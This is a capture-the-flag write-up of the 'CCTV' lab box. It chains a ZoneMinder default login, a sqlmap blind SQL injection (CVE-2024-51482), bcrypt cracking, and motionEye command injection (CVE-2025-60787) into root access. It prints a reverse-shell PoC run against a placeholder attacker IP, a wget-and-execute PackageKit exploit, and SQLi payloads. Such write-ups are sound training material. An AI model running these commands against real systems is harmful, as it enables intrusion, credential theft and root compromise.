Introduction
CCTV is an easy Linux box built around a realistic video-surveillance stack: a ZoneMinder front end on port 80 and a second surveillance tool, motionEye, running internally as root. It is a clean “known software, known CVE” chain, but with two nice teaching moments along the way: an authenticated blind SQL injection that forces you to feed sqlmap a real logged-in request, and a root password hiding in a commented-out config line.
The path: ZoneMinder still uses its default admin:admin login. That version is vulnerable to CVE-2024-51482, a blind SQL injection, which we use to dump the user table and crack mark’s password for SSH. On the host, motionEye listens only on localhost and runs as root; a leaked admin hash lets us in, and CVE-2025-60787 turns its config into command execution as root. I also document the unintended shortcut: the box shipped with a PackageKit version later found vulnerable to CVE-2026-41651, which drops a SUID root shell in seconds.
Enumeration
echo "<target_ip> cctv.htb" | sudo tee -a /etc/hostsService Discovery
sudo nmap cctv.htb -T4 --min-rate 3500 -p 22,80 -sC -sV -oN scans/service-scan.nmapPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open http Apache httpd 2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://cctv.htb/Only SSH and HTTP, and port 80 redirects to cctv.htb.
The web application
The site is “SecureVision”, a fictional home-security company (“Protecting Your World, 24/7”). The landing page also leaks a contact address, info@cctv.htb, worth noting for later.
A staff login lives at /zm, titled “ZoneMinder Login”. ZoneMinder is open-source video surveillance software, so this is our target application.
Reading the page source of /zm/ leaks the app’s internal API paths:
Servers[0] = new Server({..."PathToIndex":"/zm/index.php","PathToZMS":"/zm/cgi-bin/nph-zms","PathToApi":"/zm/api"...});The cgi-bin paths are forbidden, but /zm/api responds with “Not authenticated” and, usefully, leaks the framework version: CakePHP 2.10.24.
Default credentials
Before fuzzing further, the fastest check on any appliance is default credentials. ZoneMinder’s documented default is admin:admin, and it works. Once inside, the top-right of the console shows the exact build: ZoneMinder 1.37.63.
Foothold — ZoneMinder SQL injection (CVE-2024-51482)
ZoneMinder 1.37.63 is vulnerable to CVE-2024-51482 (GHSA-qm8h-3xvf-m7j3), a blind SQL injection in the tid parameter of the removetag request:
http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1The catch is that this endpoint is authenticated, so pointing sqlmap straight at the URL just returns 401 Unauthorized:
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' -p tid --batch
# [CRITICAL] not authorized ... (401)The fix is to give sqlmap a real logged-in request. I sent the request through Burp while authenticated, saved it (cookie included) to request.txt, and pointed sqlmap at the file instead:
GET /zm/index.php?view=request&request=event&action=removetag&tid=1 HTTP/1.1
Host: cctv.htb
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=4m6s6f1cebtuo6u5tj12te1ub3
...sqlmap -r request.txt -p tid --batch --dbsParameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ...&tid=1 AND (SELECT 8608 FROM (SELECT(SLEEP(5)))mjlr)
...
available databases [3]: information_schema, performance_schema, zmA quick check of our privileges shows we are not DBA, so we work inside the current zm database:
sqlmap -r request.txt -p tid --batch --current-db --current-user --is-dba
# current user: 'zmuser@localhost' | current database: 'zm' | DBA: FalseThe Users table is the obvious target. Time-based blind injection is slow (one character at a time), so I dumped just that one table rather than the whole database:
sqlmap -r request.txt -p tid --batch --dump -T Users -D zmDatabase: zm -> Table: Users
| Username | Password (bcrypt) |
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |mark is also a Linux username on the box, so his hash is the one to crack (hashcat mode 3200 = bcrypt):
hashcat -m 3200 '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' /usr/share/wordlists/rockyou.txt
# ...:opensesamePassword reuse pays off: mark:opensesame works over SSH.
ssh mark@cctv.htb # opensesameThat is the user flag.
Post-Exploitation — enumerating as mark
Manual enumeration of mark’s home turned up nothing useful. One breadcrumb worth noting sits in a log under /opt/video/backups:
mark@cctv:/opt/video/backups$ cat server.log
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. ...
Authorization as sa_mark successful. Command issued: status. Outcome: success. ...Something is issuing disk-info / status commands as sa_mark. It hints at a service we cannot see yet. Running linpeas surfaced two paths at once:
motioneye.service loaded active running motionEye Server
└─ RUNS_AS_ROOT: Service runs as root
PackageKit version detected: 1.2.8
Vulnerable to CVE-2026-41651 (Pack2TheRoot) - PackageKit 1.2.8 in vulnerable rangeThe intended route is the root-run motionEye service. (The PackageKit finding is an unintended shortcut, covered at the end.)
Privilege Escalation — motionEye (CVE-2025-60787)
motionEye is a web front end for the motion video tool, and here the service runs as root. It is not exposed externally, only on localhost:
mark@cctv:~$ ss -tlnp | grep 8765
LISTEN 0 128 127.0.0.1:8765 0.0.0.0:*To work with it comfortably from Kali, I forwarded the port over SSH:
ssh -fNL 0.0.0.0:4444:cctv.htb:8765 mark@cctv.htb
# browse http://127.0.0.1:4444
The obvious guesses (admin blank, admin:admin, mark:opensesame) all failed, so I went back to the host for config files. The motionEye service definition points at /etc/motioneye, and motion.conf there holds a password in a commented line:
mark@cctv:/etc/motioneye$ cat motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
...Commented out or not, that SHA1 value is the stored admin credential, and logging in as admin:989c5a8ee87a0e9521ec81a79187d162109282f0 works. The console reveals the version:
motionEye Version 0.43.1b4
Motion Version 4.7.1motionEye 0.43.1b4 is vulnerable to CVE-2025-60787 (NVD), a command injection through a camera config parameter. Since the service runs as root, the injected command runs as root. Using the PoC by gunzf0x:
nc -lvnp 9001 # listener
python3 CVE-2025-60787.py revshell \
--url 'http://127.0.0.1:4444' --user 'admin' \
--password '989c5a8ee87a0e9521ec81a79187d162109282f0' \
-i <attacker_ip> --port 9001[*] Valid credentials provided
[*] Found 1 camera(s) ...
[*] Payload successfully injected. Check your shell...The listener catches a root shell:
connect to [<attacker_ip>] from (UNKNOWN) [<target_ip>]
root@cctv:/etc/motioneye# whoami
rootMachine rooted.
Alternative — unintended PackageKit LPE (CVE-2026-41651)
linpeas also flagged the host’s PackageKit 1.2.8 as vulnerable to CVE-2026-41651 (“Pack2TheRoot”), a TOCTOU race in PackageKit’s file install that hands a local user a SUID root shell. This is an unintended path: the CVE was published after the box released, so it is a shortcut rather than the designed solution. With the PoC by Vozec:
# on target, as mark
wget http://<attacker_ip>/cve-2026-41651
chmod +x cve-2026-41651
./cve-2026-41651
# [+] SUCCESS — SUID bash at t+2400ms
./.suid_bash -p # or bash -p
# whoami -> rootWorth knowing it exists, but the motionEye chain above is the intended route.
Attack Chain Recap
nmap -> 80 ZoneMinder (cctv.htb)
default creds admin:admin -> ZoneMinder 1.37.63 console
CVE-2024-51482 blind SQLi (tid) -> sqlmap on an authenticated request -> dump zm.Users
hashcat -m 3200 -> mark:opensesame -> SSH + user flag
linpeas -> motioneye.service runs as root (localhost:8765)
SSH tunnel + /etc/motioneye/motion.conf -> commented admin SHA1 -> motionEye login
CVE-2025-60787 (config cmd injection)-> reverse shell as root
[unintended] CVE-2026-41651 -> SUID root via PackageKitKey takeaways
- Default credentials first. Appliances like ZoneMinder ship with
admin:admin, and checking that beats hours of fuzzing. - Authenticated SQLi needs an authenticated request. When sqlmap gets a
401, capture a logged-in request (cookies included) with Burp and runsqlmap -r request.txt. Dump only the table you care about when the injection is time-based, or you will wait forever. - Read comments in config files. The motionEye admin credential was sitting in a commented-out line. Disabled config is still leaked config.
- A service running as root is the privesc. motionEye bound to localhost and running as root turned a post-auth CVE into a root shell. Always map local listeners (
ss -tlnp) and check what runs as root. - Watch for unintended kernel/package CVEs. A box can pick up new local-root CVEs (here PackageKit) after release. Handy, but learn the intended path too.